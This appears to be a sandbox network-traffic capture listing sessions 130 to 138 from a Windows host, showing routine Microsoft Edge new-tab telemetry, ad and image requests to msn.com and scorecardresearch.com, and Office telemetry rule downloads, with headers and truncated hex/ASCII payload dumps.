130	192.168.2.6	49921	20.110.205.119	443	7120	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:53:02 UTC	1175	OUT	GET /c.gif?rnd=1732387979691&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=c8e70ccf516a4388882ced3cf769c1c7&activityId=c8e70ccf516a4388882ced3cf769c1c7&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=18FD64FFA0C2612823B171BFA1EB6042; _EDGE_S=F=1&SID=10BE97B608F365AA179A82F609D16463; _EDGE_V=1
2024-11-23 18:53:02 UTC	1108	IN	HTTP/1.1 302 Redirect Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Location: https://c.bing.com/c.gif?rnd=1732387979691&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=c8e70ccf516a4388882ced3cf769c1c7&activityId=c8e70ccf516a4388882ced3cf769c1c7&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=F56B4ABDBCC24904B1C2DED66ABF5D9F&RedC=c.msn.com&MXFR=18FD64FFA0C2612823B171BFA1EB6042 Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=T; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=18FD64FFA0C2612823B171BFA1EB6042; domain=.msn.com; expires=Thu, 18-Dec-2025 18:53:02 GMT; path=/; SameSite=None; Secure; Priority=High; Date: Sat, 23 Nov 2024 18:53:01 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.6	49923	18.155.1.8	443	7120	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:53:02 UTC	925	OUT	GET /b?rn=1732387979692&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=18FD64FFA0C2612823B171BFA1EB6042&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 18:53:02 UTC	955	IN	HTTP/1.1 302 Found Content-Length: 0 Connection: close Date: Sat, 23 Nov 2024 18:53:02 GMT Accept-CH: UA, Platform, Arch, Model, Mobile Location: /b2?rn=1732387979692&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=18FD64FFA0C2612823B171BFA1EB6042&cs_fpit=o&cs_fpdm=null&cs_fpdt=null set-cookie: UID=105c4afc5538876aeaf51581732387982; SameSite=None; Secure; domain=.scorecardresearch.com; path=/; max-age=33696000 set-cookie: XID=105c4afc5538876aeaf51581732387982; SameSite=None; Secure; Partitioned; domain=.scorecardresearch.com; path=/; max-age=33696000 X-Cache: Miss from cloudfront Via: 1.1 486e34c9a7512d6a57a32ef8a8030870.cloudfront.net (CloudFront) X-Amz-Cf-Pop: ATL59-P3 X-Amz-Cf-Id: IpyOsMWkNDvGY4gy4gGpQ2gp5-T6Sn9HD2kouhzi49_k-DwUV5rOdg==

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.6	49918	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:53:02 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 18:53:02 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:53:02 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: f421f7ab-401e-0029-142f-3c9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T185302Z-178bfbc474brk967hC1NYCfu6000000004qg000000006bw4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 18:53:02 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.6	49924	20.96.153.111	443	7120	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:53:02 UTC	1067	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=18FD64FFA0C2612823B171BFA1EB6042&ACHANNEL=4&ABUILD=117.0.5938.150&clr=esdk&edgeid=5518710994624701133&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=84fe2d69693d4279a76d0c0737f48621 HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=18FD64FFA0C2612823B171BFA1EB6042; _EDGE_S=F=1&SID=10BE97B608F365AA179A82F609D16463; _EDGE_V=1
2024-11-23 18:53:02 UTC	674	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 297 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"2,,"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Sat, 23 Nov 2024 18:53:02 GMT Connection: close
2024-11-23 18:53:02 UTC	297	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 38 38 30 30 30 33 30 38 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 4e 5f 70 73 2c 20 45 72 72 6f 72 3a 20 4e 6f 20 65 6c 69 67 69 62 6c 65 20 63 6f 6e 74 65 6e 74 2e 29 2e 22 7d 5d 7d 2c 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 31 30 38 33 37 33 39 33 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 Data Ascii: {"batchrsp":{"ver":"1.0","errors":[{"placement":"88000308","errors":[{"code":2040,"msg":"Demand source returns error (Name: GN_ps, Error: No eligible content.)."}]},{"placement":"10837393","errors":[{"code":2040,"msg":"Demand source returns error (Name: G

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.6	49917	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:53:02 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 18:53:02 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:53:02 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 16dd49bc-d01e-0066-804e-3cea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T185302Z-178bfbc474bwh9gmhC1NYCy3rs00000004v000000000k83t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 18:53:02 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.6	49920	20.189.173.24	443	7120	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:53:02 UTC	1082	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732387979690&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 3734 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=18FD64FFA0C2612823B171BFA1EB6042; _EDGE_S=F=1&SID=10BE97B608F365AA179A82F609D16463; _EDGE_V=1
2024-11-23 18:53:02 UTC	3734	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 50 61 67 65 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 33 54 31 38 3a 35 32 3a 35 39 2e 36 38 35 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 31 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 33 32 61 31 37 33 35 63 2d 65 34 63 35 2d 34 39 38 63 2d 38 32 63 35 2d 31 62 62 31 31 34 30 32 32 35 66 37 22 2c 22 65 70 6f 63 68 22 3a 22 31 38 30 31 33 32 39 30 37 35 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.PageView","time":"2024-11-23T18:52:59.685Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":1,"installId":"32a1735c-e4c5-498c-82c5-1bb1140225f7","epoch":"1801329075"},"app":{"locale
2024-11-23 18:53:02 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=49c320027c6a4997bcd12b7f636bf016&HASH=49c3&LV=202411&V=4&LU=1732387982655; Domain=.microsoft.com; Expires=Sun, 23 Nov 2025 18:53:02 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=ebf2829d947d4a71b3ff8edf56db99d1; Domain=.microsoft.com; Expires=Sat, 23 Nov 2024 19:23:02 GMT; Path=/;Secure; SameSite=None time-delta-millis: 2965 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Sat, 23 Nov 2024 18:53:02 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.6	49922	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:53:02 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 18:53:02 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:53:02 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: b43d4aba-301e-0020-1845-3c6299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T185302Z-15b8b599d88s6mj9hC1TEBur30000000037g000000003fue x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 18:53:02 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.6	49919	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:53:02 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 18:53:02 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:53:02 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 6226193a-f01e-00aa-5d6c-3d8521000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T185302Z-15b8b599d882l6clhC1TEBxd5c000000037g000000009nvm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 18:53:02 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.6	49926	104.117.182.56	443	7120	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:53:02 UTC	634	OUT	GET /tenant/amp/entityid/BB1msP5k.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 18:53:03 UTC	521	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Mon, 18 Nov 2024 03:45:34 GMT X-Datacenter: eastus X-ActivityId: 1182ddd5-030b-458e-8b1f-be27a8e26411 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msP5k X-Source-Length: 138917 Content-Length: 138917 Cache-Control: public, max-age=334373 Expires: Wed, 27 Nov 2024 15:45:55 GMT Date: Sat, 23 Nov 2024 18:53:02 GMT Connection: close
2024-11-23 18:53:03 UTC	15863	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-23 18:53:03 UTC	16384	IN	Data Raw: 43 18 83 5e b5 44 c1 ef 07 0e 87 ea 06 9f 7f e5 62 18 13 20 48 42 53 06 da d7 c9 30 7b a9 26 e0 40 9a 0b b1 f3 2f e0 0a d0 dd 29 f7 3d 14 3b ce 0c fe b0 0f 5b 20 e3 c7 0f 1c 6d 8c a3 b9 de bf 8d 57 9c 9f 77 9e 1d c8 e5 a0 94 58 c4 f9 a7 3b 9c e5 0c 50 04 41 dc 59 b5 f1 d3 e0 a2 ab 29 9d 8b a8 e4 d4 27 15 9d 75 b2 6b 0f b9 c0 41 a6 23 33 9b 31 f8 a2 7f 4b 84 ef b0 3f 5b fc 54 e6 c7 5a ec 8a e5 fa 87 b4 bf 0d 1f fc a3 cf 63 f7 70 61 c9 18 82 32 8d db 54 b8 fe df 12 cc 4f ad 68 7c 17 ab ec 97 9d c4 ef 67 0f bc 76 6c 1a 24 83 9f af 24 d4 db c2 33 ea 74 7a 50 a9 4d 6b 49 12 38 78 72 11 00 b3 81 a3 b7 ba 70 40 ad 8c 4c 1b 73 c0 38 fd c3 e3 45 25 10 e2 cc 47 45 cc e4 cf 56 10 87 9b f7 42 03 0d 10 61 a9 20 11 18 2c 6d 9d 15 04 47 8c 34 51 0e 89 e6 0b 98 29 c8 5a Data Ascii: C^Db HBS0{&@/)=;[ mWwX;PAY)'ukA#31K?[TZcpa2TOh\|gvl$$3tzPMkI8xrp@Ls8E%GEVBa ,mG4Q)Z
2024-11-23 18:53:03 UTC	2846	IN	Data Raw: 1b 7d 0f 13 a1 46 ec 5b 71 31 94 9a 3b a3 26 dd 12 c4 73 31 8d e3 50 c5 3a 30 85 f6 80 69 5b bb e6 5c ab c3 c2 c6 38 87 0e 21 88 72 cf ac 5c 9d ad 5f 25 3b 8a 03 fd 3e 34 30 fb 7d a3 6e e6 2c 40 94 78 c4 17 8b a0 c0 b4 f9 41 31 d0 10 0f c7 d3 a9 59 46 62 1b 8d ec 64 c1 b7 5b e6 dc 2e 41 e2 02 88 c4 c6 71 61 5e 80 32 13 6c 6c 92 3d ed f0 a5 82 09 18 65 b9 4e a4 5e a1 9d cf 8d 94 7c 76 0b 86 1e 7a e6 92 8d 80 2c c6 f7 37 7c ad 47 4f f7 73 12 5a 52 88 72 18 c8 58 3d 49 20 58 79 2a a2 75 34 31 80 89 da 40 b8 90 b7 33 8c 8b 12 3a a3 e2 cf 7e 14 1c c0 90 fc bc ce 07 fb 30 11 2f 98 6e a9 6e d5 e9 02 4e 63 2e 96 5b bb f2 c0 b5 ab 9f 57 b5 fa a0 79 10 8c 64 6c 0b e4 02 d8 89 94 40 00 12 49 6c ec 2e 38 27 61 11 2f 9e 46 17 b0 11 dd 67 e8 43 26 00 84 30 b1 c3 f3 46 Data Ascii: 